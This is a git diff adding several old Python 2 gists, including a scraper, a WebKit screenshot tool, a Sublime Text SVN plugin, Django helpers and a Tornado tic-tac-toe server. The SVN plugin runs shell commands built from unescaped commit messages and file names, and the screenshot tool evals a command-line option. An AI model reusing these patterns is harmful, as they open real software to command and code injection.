+        player_dict['height']=height
+        # Extract weight
+        weight=int(string_cleaner_hw(data_temp[0][2]))
+        player_dict['weight']=weight
+        # Extract DOB
+        dob=string_cleaner_dob(data_temp[1][1])
+        player_dict['dob']=dob
+        # Extarct college
+        college=string_cleaner_college(data_temp[2][1])
+        player_dict['college']=college
+        player_data[name]=player_dict
+        
+    return player_data
+    
+def string_cleaner_hw(data_string):
+# Small helper function to do string cleaning on height and weight data
+    data_string=data_string.strip()
+    data_string=data_string.split('\n')[0]
+    return data_string.split(' ')[0].encode()
+    
+def string_cleaner_dob(data_string):
+# Small helper function to do string cleaning on DOB data
+    data_string=data_string.strip()
+    data_string=data_string.split('\t')[0]
+    return data_string.split('\n')[0].encode()
+            
+def string_cleaner_college(data_string):
+# Small helper function to do string cleaning on college data
+    data_string=data_string.strip()
+    return data_string.split('\n')[0].encode()
+
+parsed_player_data=parse_data(player_urls)
+print parsed_player_data
\ No newline at end of file
diff --git a/hard-gists/137667/._snippet.py b/hard-gists/137667/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/137667/._snippet.py differ
diff --git a/hard-gists/137667/snippet.py b/hard-gists/137667/snippet.py
new file mode 100644
index 00000000..7676daab
--- /dev/null
+++ b/hard-gists/137667/snippet.py
@@ -0,0 +1,89 @@
+#
+# Get web page screenshot
+#
+# usage:
+#   xvfb-run -s "-screen 0 1024x768x24" python getschreenshot.py test.html
+#
+# libs:
+# - pygtk: http://www.pygtk.org/
+# - pywebkitgtk(python-webkit): http://code.google.com/p/pywebkitgtk/
+# - PIL: http://www.pythonware.com/products/pil/
+
+#import pygtk
+#pygtk.require("2.0")
+
+import gtk
+import webkit
+import Image
+
+def loaded_handler(thumsize, thumfile):
+    def loaded(view, frame):
+        try:
+            width, height = view.window.get_size()
+            # see: http://www.pygtk.org/docs/pygtk/class-gdkpixbuf.html
+            pixbuf = gtk.gdk.Pixbuf(gtk.gdk.COLORSPACE_RGB,
+                                    False, 8, width, height)
+            pixbuf.get_from_drawable(view.window, view.window.get_colormap(),
+                                     0, 0, 0, 0, width, height)
+            # pixbuf.save("screenshot.jpg", "jpeg", {"quality": "100"})
+            # pixbuf.save("screenshot.png", "png")
+            image = Image.fromstring("RGB", (width, height),
+                                     pixbuf.get_pixels())
+            image.thumbnail(thumsize, Image.ANTIALIAS)
+            image.save(thumfile)
+            pass
+        except:
+            import traceback
+            traceback.print_exc()
+            pass
+        gtk.main_quit()
+        pass
+    return loaded
+
+def print_body(url, thumsize, thumfile, font):
+    gtk.gdk.threads_init()
+    window = gtk.Window(gtk.WINDOW_TOPLEVEL)
+    window.move(0, 0)
+    window.resize(gtk.gdk.screen_width(), gtk.gdk.screen_height())
+    webview = webkit.WebView()
+
+    # webkit settings
+    settings = webkit.WebSettings()
+    settings.set_property("serif-font-family", font)
+    settings.set_property("sans-serif-font-family", font)
+    settings.set_property("monospace-font-family", font)
+    settings.set_property("default-font-family", font)
+    settings.set_property("default-font-size", 14)
+    webview.set_settings(settings)
+
+    window.add(webview)
+    webview.connect("load-finished", loaded_handler(thumsize, thumfile))
+    webview.open(url)
+    window.show_all()
+    gtk.main()
+    pass
+
+if __name__ == "__main__":
+    thumsize = (200, 150)
+    thumfile = "screenshot.png"
+    font = "VLGothic"
+
+    from optparse import OptionParser
+    parser = OptionParser()
+    parser.add_option("-s", "--size", dest="size",
+                      help="output image size", default="%d,%d" % thumsize)
+    parser.add_option("-o", "--output", dest="output",
+                      help="output image filename", default=thumfile)
+    parser.add_option("-f", "--font", dest="font",
+                      help="text font", default=font)
+
+    opts, args = parser.parse_args()
+    url = args[-1]
+    thumfile = opts.output
+    try: thumsize = eval(opts.size)
+    except: pass
+
+    if not url.startswith("http"): url = "file://" + url
+    print_body(url, thumsize, thumfile, font)
+    pass
+
diff --git a/hard-gists/1379479/._snippet.py b/hard-gists/1379479/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1379479/._snippet.py differ
diff --git a/hard-gists/1379479/snippet.py b/hard-gists/1379479/snippet.py
new file mode 100644
index 00000000..29733266
--- /dev/null
+++ b/hard-gists/1379479/snippet.py
@@ -0,0 +1,244 @@
+import sublime, sublime_plugin
+import os, commands
+import json, re
+
+import pprint
+
+""" TODO:
+	
+	- have settings file with username/password/additional flags?
+	- options menu, per file/folder commands 
+        - ssh connection string 
+        - last svn command?
+	- svn status in the corner, on file save """
+
+svnFlags = " --username=xxxxx --password=xxxx --non-interactive"
+
+svnOptions = ['Subversion: Add',
+			  'Subversion: Commit',
+			  'Subversion: Delete',
+			  'Subversion: Diff',
+ 			  'Subversion: Revert',
+ 			  'Subversion: Status',
+			  'Subversion: Update']
+
+""" Core Function Definitions for Plugin """
+def doSystemCommand(commandText):
+	return commands.getoutput(commandText)
+
+""" Identical to doSystemCommand, but passes svnFlags to the
+	command to give credentials and non-interactive flag. """
+def doSvnCommand(svnCommand):
+	svnCommandOutput = doSystemCommand(svnCommand + svnFlags)
+
+	latestSvnCommand = svnCommand + svnFlags
+	latestSvnOutput  = svnCommandOutput
+
+	return svnCommandOutput
+
+
+""" #################### SUBVERSION COMMAND ######################## """
+
+
+""" The base class for the SVN plugin, sets up member variables,
+	and modifies the status message in the case of the current directory
+	not being a working copy. """
+class SubversionCommand(sublime_plugin.TextCommand):
+	def run(self, edit, svn_command, on_file):
+		# Setup basic member variables
+		SubversionCommand.edit   = edit
+		SubversionCommand.view   = self.view
+		SubversionCommand.window = sublime.active_window()
+		SubversionCommand.current_filename = SubversionCommand.view.file_name()
+
+		svnFile 	= open("/home/dan/.config/sublime-text-2/Packages/SVN/settings.json")
+		svnSettings = json.load(svnFile)
+		
+		# pprint.pprint(svnSettings)
+
+
+		# Bail early if the current directory isn't a working copy
+		if (SubversionCommand.isWorkingCopy(self) == False):
+			sublime.status_message("Subversion Plugin can not run because this is not a working copy of SVN.")
+			return False
+
+		if (svn_command == "opt"):
+			pprint.pprint(on_file)
+			return
+
+		# Switch based on the svn_command
+		if (svn_command == "add"):
+			SubversionCommand.add(self)
+		elif (svn_command == "commit"):
+			SubversionCommand.commit(self)
+		elif (svn_command == "delete"):
+			SubversionCommand.delete(self)
+		elif (svn_command == "diff"):
+			SubversionCommand.diff(self)
+		elif (svn_command == "revert"):
+			SubversionCommand.revert(self)
+		elif (svn_command == "status"):
+			SubversionCommand.status(self)
+		elif (svn_command == "update"):
+			SubversionCommand.update(self)
+
+	def isWorkingCopy(self):
+		svnStatus = doSvnCommand("svn status " + self.current_filename)
+
+		if ("not a working copy" in svnStatus):
+			return False
+		else:
+			return True
+
+	def add(self):
+		svnAdd = doSvnCommand("svn add " + self.current_filename)
+
+		# State whether or not it's been added, or already under version control
+		if ("already under version control" in svnAdd):
+			sublime.status_message("SVN: File already under version control.")
+		elif (re.match("^A", svnAdd)):
+			sublime.status_message("SVN: File added.")
+
+	def commit(self):
+		self.window.show_input_panel(
+								"Commit Message: ",
+								"Changes to " + self.current_filename,
+								self.commitOnDone,
+								None,
+								self.commitOnCancel)
+	
+	def commitOnDone(self, commitMessage):
+		commitCommand = 'svn commit -m "' + commitMessage  + '" ' + self.current_filename
+		svnCommit  	  = doSvnCommand(commitCommand)
+
+		commitStatus = re.search("Committed revision \d+\.", svnCommit)
+
+		if (commitStatus):
+			statusMessage = "SVN: " + commitStatus.group(0)
+		else:
+			statusMessage = svnCommit
+
+		sublime.status_message(statusMessage)
+
+	def commitOnCancel(self):
+		sublime.status_message("SVN: Commit aborted.")
+
+	def delete(self):
+		self.window.show_input_panel(
+								"Confirm Delete ",
+								"Enter to Confirm, Escape to Abort.",
+								self.deleteOnDone,
+								None,
+								self.deleteOnCancel)
+
+	def deleteOnDone(self, inputMessage):
+		svnDelete = doSvnCommand("svn delete --force " + self.current_filename)
+
+		# @todo Needs to close the current view
+
+		sublime.status_message(svnDelete)
+
+	def deleteOnCancel(self):
+		sublime.status_message("SVN: Delete aborted.")
+		return
+
+	def diff(self):
+		svnDiff = doSvnCommand("svn diff " + self.current_filename)
+
+		# @todo - Doesn't work! :P
+		if (svnDiff == ""):
+			sublime.status_message("SVN: Diff showed no modifications.")
+			return
+
+		# Create new view for the diff
+		svnDiffView = sublime.Window.new_file(self.view.window())
+
+		# Insert diff content
+		svnDiffView.insert(self.edit, 0, svnDiff)
+
+		# Set to be a scratch/readonly buffer
+		svnDiffView.set_scratch(True)
+		svnDiffView.set_read_only(True)
+		svnDiffView.set_name("svn diff")
+
+	def revert(self):
+		# Require view isn't in the middle of loading
+		if (self.view.is_loading() == False):
+			svnRevert = doSvnCommand("svn revert " + self.current_filename)
+
+			if (svnRevert == ""):
+				svnRevert = "SVN: No changes to revert."
+
+			sublime.status_message(svnRevert)
+			
+			sublime.active_window().focus_view(sublime.active_window().active_view())
+			# @todo Needs to close current view
+
+		
+	def status(self, filename=False):
+		if (filename == False):
+			filename = self.current_filename
+
+		svnStatus = doSvnCommand("svn status " + filename)
+
+		if (re.search("\n", svnStatus)):
+			# Create new view for status if it's multi-line
+			svnStatusView = sublime.Window.new_file(self.view.window())
+
+			# Insert status content
+			svnStatusView.insert(self.edit, 0, svnStatus)
+
+			# Set to be a scratch/readonly buffer
+			svnStatusView.set_scratch(True)
+			svnStatusView.set_read_only(True)
+			svnStatusView.set_name("svn status")
+		elif (svnStatus == ""):
+			svnStatus = "SVN: File unchanged."
+		
+		sublime.status_message(svnStatus)
+
+	def update(self, detailsInScratch=False):
+		svnUpdate = doSvnCommand("svn update " + self.current_filename)
+
+		# Get information about the update
+		updateData = SubversionCommand.getUpdateData(self, svnUpdate)
+
+		# If there are conflicts, automatically open in new buffer
+		# for analysis.
+		if (updateData['has_conflicts']):
+			detailsInScratch = True
+ 
+ 		# Couldn't find an "At revision..." line?
+		if (detailsInScratch or updateData['updated_line'] == False):
+			svnStatusView = sublime.Window.new_file(view.window())
+			svnStatusView.insert(self.edit, 0, svnUpdate)
+
+			svnStatusView.set_scratch(True)
+			svnStatusView.set_read_only(True)
+			svnStatusView.set_name("svn update")		
+		else:
+			sublime.status_message("SVN: " + updateData['updated_line'])
+
+
+
+	def getUpdateData(self, svnUpdate):
+		conflictPattern = "^C"
+		updatedPattern  = "^At revision"
+
+		hasConflicts = False
+		updatedLine  = False
+
+		svnUpdate = svnUpdate.split("\n")
+
+		# Find if any conflicts occurred, and get final "At revision" line
+		for svnLine in svnUpdate:
+			if (re.match(conflictPattern, svnLine)):
+				hasConflicts = True
+				continue;
+			elif (re.match(updatedPattern, svnLine)):
+				updatedLine = svnLine
+
+		updateData = { 	"has_conflicts": hasConflicts,
+					    "updated_line":  updatedLine }
+
+		return updateData
\ No newline at end of file
diff --git a/hard-gists/1379652/._snippet.py b/hard-gists/1379652/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1379652/._snippet.py differ
diff --git a/hard-gists/1379652/snippet.py b/hard-gists/1379652/snippet.py
new file mode 100644
index 00000000..c98b6351
--- /dev/null
+++ b/hard-gists/1379652/snippet.py
@@ -0,0 +1,23 @@
+from django.contrib import admin
+from django.contrib.flatpages.models import FlatPage
+
+# Note: we are renaming the original Admin and Form as we import them!
+from django.contrib.flatpages.admin import FlatPageAdmin as FlatPageAdminOld
+from django.contrib.flatpages.admin import FlatpageForm as FlatpageFormOld
+
+from django import forms
+from ckeditor.widgets import CKEditorWidget
+
+class FlatpageForm(FlatpageFormOld):
+    content = forms.CharField(widget=CKEditorWidget())
+    class Meta:
+        model = FlatPage # this is not automatically inherited from FlatpageFormOld
+
+
+class FlatPageAdmin(FlatPageAdminOld):
+    form = FlatpageForm
+
+
+# We have to unregister the normal admin, and then reregister ours
+admin.site.unregister(FlatPage)
+admin.site.register(FlatPage, FlatPageAdmin)
\ No newline at end of file
diff --git a/hard-gists/1381489/._snippet.py b/hard-gists/1381489/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1381489/._snippet.py differ
diff --git a/hard-gists/1381489/snippet.py b/hard-gists/1381489/snippet.py
new file mode 100644
index 00000000..15cd9746
--- /dev/null
+++ b/hard-gists/1381489/snippet.py
@@ -0,0 +1,72 @@
+from PyQt4 import QtCore, QtGui
+
+import maya.cmds as cmds
+import maya.OpenMayaUI as mui
+
+import sip
+
+
+class MyDialog(QtGui.QDialog):
+
+    def __init__(self, parent, **kwargs):
+        super(MyDialog, self).__init__(parent, **kwargs)
+        
+        self.setObjectName("MyWindow")
+        self.resize(800, 600)
+        self.setWindowTitle("PyQt ModelPanel Test")
+
+        self.verticalLayout = QtGui.QVBoxLayout(self)
+        self.verticalLayout.setContentsMargins(0,0,0,0)
+
+        # need to set a name so it can be referenced by maya node path
+        self.verticalLayout.setObjectName("mainLayout")
+        
+        # First use SIP to unwrap the layout into a pointer
+        # Then get the full path to the UI in maya as a string
+        layout = mui.MQtUtil.fullName(long(sip.unwrapinstance(self.verticalLayout)))
+        cmds.setParent(layout)
+
+        paneLayoutName = cmds.paneLayout()
+        
+        # Find a pointer to the paneLayout that we just created
+        ptr = mui.MQtUtil.findControl(paneLayoutName)
+        
+        # Wrap the pointer into a python QObject
+        self.paneLayout = sip.wrapinstance(long(ptr), QtCore.QObject)
+
+        self.cameraName = cmds.camera()[0]
+        self.modelPanelName = cmds.modelPanel("customModelPanel", label="ModelPanel Test", cam=self.cameraName)
+        
+        # Find a pointer to the modelPanel that we just created
+        ptr = mui.MQtUtil.findControl(self.modelPanelName)
+        
+        # Wrap the pointer into a python QObject
+        self.modelPanel = sip.wrapinstance(long(ptr), QtCore.QObject)
+
+        # add our QObject reference to the paneLayout to our layout
+        self.verticalLayout.addWidget(self.paneLayout)
+
+    def showEvent(self, event):
+        super(MyDialog, self).showEvent(event)
+
+        # maya can lag in how it repaints UI. Force it to repaint
+        # when we show the window.
+        self.modelPanel.repaint()
+                    
+
+def show():
+    # get a pointer to the maya main window
+    ptr = mui.MQtUtil.mainWindow()
+    # use sip to wrap the pointer into a QObject
+    win = sip.wrapinstance(long(ptr), QtCore.QObject)
+    d = MyDialog(win)
+    d.show()
+
+    return d
+
+
+try:
+    dialog.deleteLater()
+except:
+    pass    
+dialog = show()
diff --git a/hard-gists/1382972/._snippet.py b/hard-gists/1382972/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1382972/._snippet.py differ
diff --git a/hard-gists/1382972/snippet.py b/hard-gists/1382972/snippet.py
new file mode 100644
index 00000000..8b89f5d3
--- /dev/null
+++ b/hard-gists/1382972/snippet.py
@@ -0,0 +1,37 @@
+# For an explanation of this code, see
+# http://portwempreludium.tumblr.com/post/13108758604/instagram-unshredding
+
+import PIL.Image, numpy, fractions
+image = numpy.asarray(PIL.Image.open('TokyoPanoramaShredded.png').convert('L'))
+diff = numpy.diff([numpy.mean(column) for column in image.transpose()])
+threshold, width = 1, 0
+
+def sequence(conn, start):
+    seq = [start]
+    while conn[seq[0]] not in seq:
+        seq.insert(0, conn[seq[0]])
+    return len(seq), seq
+
+while width < 5 and threshold < 255:
+    boundaries = [index+1 for index, d in enumerate(diff) if d > threshold]
+    width = reduce(lambda x, y: fractions.gcd(x, y), boundaries) if boundaries else 0
+    threshold += 1
+
+shreds = range(image.shape[1] / width)
+bounds = [(image[:,width*shred], image[:,width*(shred+1)-1]) for shred in shreds]
+D = [[numpy.linalg.norm(bounds[s2][1] - bounds[s1][0]) if s1 != s2 else numpy.Infinity for s2 in shreds] for s1 in shreds]
+neighbours = [numpy.argmin(D[shred]) for shred in shreds]
+walks = [sequence(neighbours, start) for start in shreds]
+new_order = max(walks)[1]
+
+# What follows is just output.
+# From a data scientist's point of view, new_order contains the solution.
+
+print len(new_order), new_order
+source_im = PIL.Image.open('TokyoPanoramaShredded.png')
+unshredded = PIL.Image.new("RGBA", source_im.size)
+for target, shred in enumerate(new_order):
+    source = source_im.crop((shred*width, 0, (shred+1)*width, image.shape[1]))
+    destination = (target*width, 0)
+    unshredded.paste(source, destination)
+unshredded.save("output.png")
\ No newline at end of file
diff --git a/hard-gists/1387470/._snippet.py b/hard-gists/1387470/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1387470/._snippet.py differ
diff --git a/hard-gists/1387470/snippet.py b/hard-gists/1387470/snippet.py
new file mode 100644
index 00000000..88803b62
--- /dev/null
+++ b/hard-gists/1387470/snippet.py
@@ -0,0 +1,333 @@
+"""Simple TCP server for playing Tic-Tac-Toe game.
+
+Use Player-to-Player game mode based on naming auth. 
+No thoughts about distribution or pub/sub mode 
+(for monitoring or something like this). Just 
+basic functionality.
+"""
+
+import time
+import logging
+import signal
+import socket
+
+from tornado import stack_context
+from tornado.options import options, parse_command_line, define
+from tornado.netutil import TCPServer
+from tornado.ioloop import IOLoop
+from tornado.util import b, bytes_type
+
+
+class Game(object):
+    """Single game representation"""
+
+    UNUSED_CELL = 0
+
+    class Winner(Exception):
+        """Control exception for working with game end"""
+        def __init__(self, name):
+            self.name = name
+            super(Game.Winner, self).__init__('Winner!')
+
+    class Draw(Exception):
+        """Control exception for working with game end"""
+        def __init__(self):
+            super(Game.Draw, self).__init__('Draw!')
+
+    # Current state of map
+    map = None
+    
+    # List of possible steps of user 
+    allowed_steps = dict([
+        ('X', 1),
+        ('O', -1)
+    ])
+    
+    def __init__(self, *players, **params):
+        self.players = dict(zip(self.allowed_steps.keys(), players))
+        self.params = params
+        logging.debug('Create game with params: %s', params)
+        self.first = 'X'
+        self._generate_map()
+
+    def step(self, sign, pos):
+        # Check allowed sign
+        try:
+            val = self.allowed_steps[sign]
+        except KeyError:
+            raise ValueError('Unknown step sign is given')
+
+        # Check map position 
+        # We should make step with using 1-based numeration (not zero-based)
+        try:
+            if self.map[pos[0]-1][pos[1]-1] != Game.UNUSED_CELL:
+                raise ValueError('Position is already in use')
+        except IndexError:
+            raise ValueError('Illegal position for step')
+
+        # Make step
+        self.map[pos[0]-1][pos[1]-1] = val
+
+        # Recalculate game state: 
+        # Check if some player is winner on no other step is possible
+        limit = self.params.get('win_limit', 3)
+        for i, row in enumerate(self.map):
+            if abs(sum(row)) == limit:
+                raise Game.Winner(self.players[sign].name)
+
+            if abs(sum([r[i] for r in self.map])) == limit:
+                raise Game.Winner(self.players[sign].name)
+
+        # Check all possible diagonals 
+        up = len(self.map) + 1 - limit
+        for s in range(up):
+            if any([
+                (abs(sum([self.map[i+s][i+s] for i in range(limit)])) == limit),
+                (abs(sum([self.map[len(self.map) - (i+1+s)][i+s] for i in range(limit)])) == limit)                             
+            ]):
+                raise Game.Winner(self.players[sign].name)
+        
+        if sum([sum(map(abs, r)) for r in self.map]) == len(self.map)**2:
+            raise Game.Draw()
+
+    def render(self):
+        """Return string of current state map representation"""
+        signs = dict([(v,s) for s,v in self.allowed_steps.items()])
+        return '\n'.join(map(
+            lambda r: ' '.join(map(lambda s: signs.get(s, '.'), r)), 
+            self.map
+        ))
+
+    def _generate_map(self):
+        assert self.map is None, "You couldn't regenerate map"
+        size = self.params.get('map_size', 3)
+        self.map = [[Game.UNUSED_CELL]*size for i in range(size)]
+        logging.debug('Generated map: %s', self.map)
+    
+
+class GameSessionMixin(object):
+    """Handler of two-players interacion within game"""
+
+    waiter = None
+
+    def join(self):
+        """Logic of joining to game session"""
+        # Check if there is at least one open game 
+        # Connect to game if exist 
+        if GameSessionMixin.waiter is not None:
+            enemy = GameSessionMixin.waiter
+            GameSessionMixin.run(enemy, self)
+            GameSessionMixin.waiter = None
+        else:
+            # Create new one and wait for new connections
+            GameSessionMixin.waiter = self
+            self.notify('Waiting for incoming player...')
+
+    @staticmethod
+    def run(*players):
+        """Create game object and choose first runner"""
+        game = Game(*players, 
+                    map_size=options.map_size, win_limit=options.win_limit)
+        message = 'Game is starting. First step by %s.' % game.players[game.first]
+        for sign, p in game.players.iteritems():
+            p.game = game
+            p.sign = sign
+            if sign == game.first:
+                action = p.make_step
+            else:
+                action = p.wait_step
+            p.notify(message, callback=action)
+
+    def notify(self, note, callback=None):
+        """Send game notifications"""
+        self.stream.write('%s, %s\n' % (self.name, note), callback=callback)
+
+    def make_step(self):
+        self.notify('make your step:', callback=self._on_make_step)
+
+    def _on_make_step(self):
+        """Called when make step notification is send"""
+        self.stream.read_until(b("\n"), callback=self._on_step)
+
+    def _on_step(self, line):
+        """Receive step from user"""
+        step = map(int, line.strip().split())
+        try:
+            self.game.step(self.sign, step)
+        except ValueError, e:
+            # Cycle for receiving normal step from user 
+            self.notify(str(e), callback=self.make_step)
+        except Game.Winner, e:
+            GameSessionMixin.broadcast(self.game.players.values(),
+                                       '%s is WINNER!' % e.name,
+                                       'close') 
+        except Game.Draw:
+            GameSessionMixin.broadcast(self.game.players.values(), 
+                                       'DRAW in game!', 
+                                       'close') 
+        else:
+            battle = self.game.render() + '\n'
+            for sign, p in self.game.players.iteritems():
+                p.stream.write(battle, 
+                    callback=(p.wait_step if sign == self.sign else p.make_step))
+
+    def wait_step(self):
+        """Just wait for step from other player.
+
+        Of course, we can notify user about this, but it will 
+        complicate whole process, cause we will have problems 
+        with handling async write operation.
+        """
+        pass
+        
+    def close(self):
+        """Close players' stream"""
+        self.stream.write('Game over\n', callback=self.stream.close)
+
+    @staticmethod
+    def broadcast(sub, notification, callback_method):
+        """Send notification to each player in ``sub`` list"""
+        for s in sub:
+            s.notify(notification.strip()+'\n', 
+                     callback=s.__getattribute__(callback_method))
+
+
+class AuthMixin(object):
+    """Batch of function for checking auth and registering users"""
+
+    # List of connected players
+    # TODO: Add periodic callback for checking player timeout    
+    players = set()
+
+    def register(self, on_register=None):
+        """Register player with using text name"""
+        if on_register:
+            self._register_callback = stack_context.wrap(on_register)
+        else: 
+            self._register_callback = None
+        self.stream.write('Enter your name: ', callback=self._on_greeting)
+
+    def _on_greeting(self):
+        logging.debug('On greetings call')
+        self.stream.read_until(b("\n"), self._on_name)
+
+    def _on_name(self, line):
+        """Ask user about name and save it in list of users"""
+        logging.debug('On name call with: %s', line)
+        name = line.strip()
+        if name not in self.__class__.players:
+            self.name = name
+            self.__class__.players.add(self)
+            if self._register_callback:
+                self._register_callback()
+        else:
+            message = 'Name %s is already in used. Choose another one:' % name
+            self.stream.write(message, callback=self._on_greeting)
+
+    def unregister(self):
+        """Remove player from list of players"""
+        try:
+            self.__class__.players.remove(str(self))
+        except KeyError:
+            logging.warning('Try to remove illegal or undefined user')
+    
+
+class PlayerConnection(GameSessionMixin, AuthMixin):
+    """Player logic handler"""
+
+    # Player's name. Should be setted for auth.
+    name = None
+
+    def __init__(self, stream, address, server):
+        """Initialize base params and call stream reader for next line"""
+        self.stream = stream
+        if self.stream.socket.family not in (socket.AF_INET, socket.AF_INET6):
+            # Unix (or other) socket; fake the remote address
+            address = ('0.0.0.0', 0)
+        self.address = address
+        self.server = server
+        self.stream.set_close_callback(self._on_disconnect)
+        
+        # Will block current stream flow until user's name is set
+        self.register(on_register=self.play)
+
+    def play(self):
+        """Main logic function"""
+        self.join()        
+
+    def _on_read(self, line):
+        """Called when new line received from connection"""
+        # Some game logic (or magic)
+        self.wait()
+
+    def wait(self):
+        """Read from stream until the next signed end of line"""
+        self.stream.read_until(b("\n"), self._on_read)
+
+    def _on_disconnect(self, *args, **kwargs):
+        """Called on client disconnected"""
+        logging.info('Client disconnected %r', self.address)
+        # TODO: Should also check current game state and/or waiters status
+        self.unregister()
+
+    def __str__(self):
+        """Build string representation, will be used for working with
+        server identity (not only name) in future"""
+        return str(self.name)
+        
+
+class TTTServer(TCPServer):
+    """TCP server for handling incoming connections from players"""
+
+    def handle_stream(self, stream, address):
+        """Called when new IOStream object is ready for usage"""
+        logging.info('Incoming connection from %r', address)
+        PlayerConnection(stream, address, server=self)
+
+def sig_handler(sig, frame):
+    """Catch signal and init callback.
+    
+    More information about signal processing for graceful stoping 
+    Tornado server you can find here:
+    http://codemehanika.org/blog/2011-10-28-graceful-stop-tornado.html    
+    """
+    logging.warning('Caught signal: %s', sig)
+    IOLoop.instance().add_callback(shutdown)
+
+def shutdown(): 
+    """Stop server and add callback to stop i/o loop"""
+    io_loop = IOLoop.instance()
+
+    logging.info('Stopping Tic-Tac-Toe tcp server')
+    io_loop.ttt.stop()
+
+    logging.info('Will shutdown in 2 seconds ...')
+    io_loop.add_timeout(time.time() + 2, io_loop.stop)
+
+def main():
+    """Main processing function"""
+    io_loop = IOLoop.instance()
+
+    # Create instance of Tic-Tac-Toe TCP server and save 
+    # it as attribute of IOLoop instance. Of course, this 
+    # is not the best way to spread ttt instance among 
+    # several functions, but it's enough for demo app.
+    io_loop.ttt = TTTServer()
+    io_loop.ttt.listen(options.port)
+
+    # Init signals handler for TERM and INT signals 
+    # (and so KeyboardInterrupt)
+    signal.signal(signal.SIGTERM, sig_handler)
+    signal.signal(signal.SIGINT, sig_handler)
+
+    logging.info('Starting TTT server on %d port', options.port)
+    io_loop.start()
+
+define('debug', default=True, type=bool)
+define('port', help='Port to listen to', default=8046, type=int)
+define('map_size', help='Game map size', default=3, type=int)
+define('win_limit', help='Signs to win', default=3, type=int)
+
+if __name__ == '__main__':
+    parse_command_line()
+    main()
\ No newline at end of file
diff --git a/hard-gists/1388243/._snippet.py b/hard-gists/1388243/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1388243/._snippet.py differ
diff --git a/hard-gists/1388243/snippet.py b/hard-gists/1388243/snippet.py
new file mode 100644
index 00000000..0aeedb51
--- /dev/null
+++ b/hard-gists/1388243/snippet.py
@@ -0,0 +1,31 @@
+from django.contrib import admin
+
+
+class ReadOnlyModelAdmin(admin.ModelAdmin):
+    """
+    ModelAdmin class that prevents modifications through the admin.
+
+    The changelist and the detail view work, but a 403 is returned
+    if one actually tries to edit an object.
+
+    Source: https://gist.github.com/aaugustin/1388243
+
+    """
+    actions = None
+
+    # We cannot call super().get_fields(request, obj) because that method calls
+    # get_readonly_fields(request, obj), causing infinite recursion. Ditto for
+    # super().get_form(request, obj). So we  assume the default ModelForm.
+    def get_readonly_fields(self, request, obj=None):
+        return self.fields or [f.name for f in self.model._meta.fields]
+
+    def has_add_permission(self, request):
+        return False
+
+    # Allow viewing objects but not actually changing them.
+    def has_change_permission(self, request, obj=None):
+        return (request.method in ['GET', 'HEAD'] and
+                super().has_change_permission(request, obj))
+
+    def has_delete_permission(self, request, obj=None):
+        return False
diff --git a/hard-gists/1390853/._snippet.py b/hard-gists/1390853/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1390853/._snippet.py differ
diff --git a/hard-gists/1390853/snippet.py b/hard-gists/1390853/snippet.py
new file mode 100644
index 00000000..b38c360e
--- /dev/null
+++ b/hard-gists/1390853/snippet.py
@@ -0,0 +1,40 @@
+"""
+Originaly code was taken from http://djangosnippets.org/snippets/290/
+But I was made some improvements like:
+- print URL from what queries was
+- don't show queries from static URLs (MEDIA_URL and STATIC_URL, also for /favicon.ico).
+- If DEBUG is False tell to django to not use this middleware
+- Remove guessing of terminal width (This breaks the rendered SQL)
+"""
+from django.core.exceptions import MiddlewareNotUsed
+from django.conf import settings
+from django.db import connection
+
+
+class SQLPrintingMiddleware(object):
+    """
+    Middleware which prints out a list of all SQL queries done
+    for each view that is processed. This is only useful for debugging.
+    """
+    def __init__(self):
+        if not settings.DEBUG:
+            raise MiddlewareNotUsed
+
+    def process_response(self, request, response):
+        if (len(connection.queries) == 0 or
+            request.path_info.startswith('/favicon.ico') or
+            request.path_info.startswith(settings.STATIC_URL) or
+            request.path_info.startswith(settings.MEDIA_URL)):
+            return response
+
+        indentation = 2
+        print "\n\n%s\033[1;35m[SQL Queries for]\033[1;34m %s\033[0m\n" % (" " * indentation, request.path_info)
+        total_time = 0.0
+        for query in connection.queries:
+            nice_sql = query['sql'].replace('"', '').replace(',', ', ')
+            sql = "\033[1;31m[%s]\033[0m %s" % (query['time'], nice_sql)
+            total_time = total_time + float(query['time'])
+            print "%s%s\n" % (" " * indentation, sql)
+        replace_tuple = (" " * indentation, str(total_time), str(len(connection.queries)))
+        print "%s\033[1;32m[TOTAL TIME: %s seconds (%s queries)]\033[0m" % replace_tuple
+        return response
diff --git a/hard-gists/1395810/._snippet.py b/hard-gists/1395810/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1395810/._snippet.py differ
diff --git a/hard-gists/1395810/snippet.py b/hard-gists/1395810/snippet.py
new file mode 100644
index 00000000..305d9f1b
--- /dev/null
+++ b/hard-gists/1395810/snippet.py
@@ -0,0 +1,27 @@
+import functools
+import logging
+from google.appengine.api import memcache
+ 
+def cached(time=1200):
+  """
+  Decorator that caches the result of a method for the specified time in seconds.
+  
+  Use it as:
+    
+    @cached(time=1200)
+    def functionToCache(arguments):
+      ...
+    
+  """
+  def decorator(function):
+    @functools.wraps(function)
+    def wrapper(*args, **kwargs):
+      key = '%s%s%s' % (function.__name__, str(args), str(kwargs))
+      value = memcache.get(key)
+      logging.debug('Cache lookup for %s, found? %s', key, value != None)
+      if not value:
+        value = function(*args, **kwargs)
+        memcache.set(key, value, time=time)
+      return value
+    return wrapper
+  return decorator
\ No newline at end of file
diff --git a/hard-gists/139f710ca91ed5fabaf9e6616d2c762b/._snippet.py b/hard-gists/139f710ca91ed5fabaf9e6616d2c762b/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/139f710ca91ed5fabaf9e6616d2c762b/._snippet.py differ
diff --git a/hard-gists/139f710ca91ed5fabaf9e6616d2c762b/snippet.py b/hard-gists/139f710ca91ed5fabaf9e6616d2c762b/snippet.py
new file mode 100644
index 00000000..805a9c7d
--- /dev/null
+++ b/hard-gists/139f710ca91ed5fabaf9e6616d2c762b/snippet.py
